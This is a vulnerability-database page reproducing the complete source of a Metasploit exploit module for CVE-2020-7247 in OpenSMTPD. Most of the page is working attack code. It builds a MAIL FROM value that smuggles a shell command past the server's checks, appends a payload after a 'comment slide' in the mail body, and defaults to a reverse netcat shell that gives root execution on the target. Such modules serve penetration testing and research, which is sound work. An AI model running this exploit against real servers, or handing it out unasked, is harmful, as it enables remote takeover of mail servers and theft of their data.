Lucene search
K

OpenSMTPD - MAIL FROM Remote Code Execution (Metasploit)

🗓️ 10 Feb 2020 00:00:00Reported by MetasploitType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 520 Views

OpenSMTPD MAIL FROM Remote Code Executio

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Expect

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'OpenSMTPD MAIL FROM Remote Code Execution',
      'Description'    => %q{
        This module exploits a command injection in the MAIL FROM field during
        SMTP interaction with OpenSMTPD to execute code as the root user.
      },
      'Author'         => [
        'Qualys',                               # Discovery and PoC
        'wvu',                                  # Module
        'RageLtMan <rageltman[at]sempervictus>' # Module
      ],
      'References'     => [
        ['CVE', '2020-7247'],
        ['URL', 'https://www.openwall.com/lists/oss-security/2020/01/28/3']
      ],
      'DisclosureDate' => '2020-01-28',
      'License'        => MSF_LICENSE,
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Privileged'     => true,
      'Targets'        => [
        ['OpenSMTPD >= commit a8e222352f',
          'MyBadChars' => "!\#$%&'*?`{|}~\r\n".chars
        ]
      ],
      'DefaultTarget'  => 0,
      'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_netcat'}
    ))

    register_options([
      Opt::RPORT(25),
      OptString.new('RCPT_TO', [true, 'Valid mail recipient', 'root'])
    ])

    register_advanced_options([
      OptBool.new('ForceExploit',   [false, 'Override check result', false]),
      OptFloat.new('ExpectTimeout', [true, 'Timeout for Expect', 3.5])
    ])
  end

  def check
    connect
    res = sock.get_once

    return CheckCode::Unknown unless res
    return CheckCode::Detected if res =~ /^220.*OpenSMTPD/

    CheckCode::Safe
  rescue EOFError, Rex::ConnectionError => e
    vprint_error(e.message)
    CheckCode::Unknown
  ensure
    disconnect
  end

  def exploit
    unless datastore['ForceExploit']
      unless check == CheckCode::Detected
        fail_with(Failure::Unknown, 'Set ForceExploit to override')
      end
    end

    # We don't care who we are, so randomize it
    me = rand_text_alphanumeric(8..42)

    # Send mail to this valid recipient
    to = datastore['RCPT_TO']

    # Comment "slide" courtesy of Qualys - brilliant!
    iter = rand_text_alphanumeric(15).chars.join(' ')
    from = ";for #{rand_text_alpha(1)} in #{iter};do read;done;sh;exit 0;"

    # This is just insurance, since the code was already written
    if from.length > 64
      fail_with(Failure::BadConfig, 'MAIL FROM field is greater than 64 chars')
    elsif (badchars = (from.chars & target['MyBadChars'])).any?
      fail_with(Failure::BadConfig, "MAIL FROM field has badchars: #{badchars}")
    end

    # Create the mail body with comment slide and payload
    body = "\r\n" + "#\r\n" * 15 + payload.encoded

    sploit = {
      nil                   => /220.*OpenSMTPD/,
      "HELO #{me}"          => /250.*pleased to meet you/,
      "MAIL FROM:<#{from}>" => /250.*Ok/,
      "RCPT TO:<#{to}>"     => /250.*Recipient ok/,
      'DATA'                => /354 Enter mail.*itself/,
      body                  => nil,
      '.'                   => /250.*Message accepted for delivery/,
      'QUIT'                => /221.*Bye/
    }

    print_status('Connecting to OpenSMTPD')
    connect

    print_status('Saying hello and sending exploit')
    sploit.each do |line, pattern|
      send_expect(
        line,
        pattern,
        sock:    sock,
        timeout: datastore['ExpectTimeout'],
        newline: "\r\n"
      )
    end
  rescue Rex::ConnectionError => e
    fail_with(Failure::Unreachable, e.message)
  rescue Timeout::Error => e
    fail_with(Failure::TimeoutExpired, e.message)
  ensure
    disconnect
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation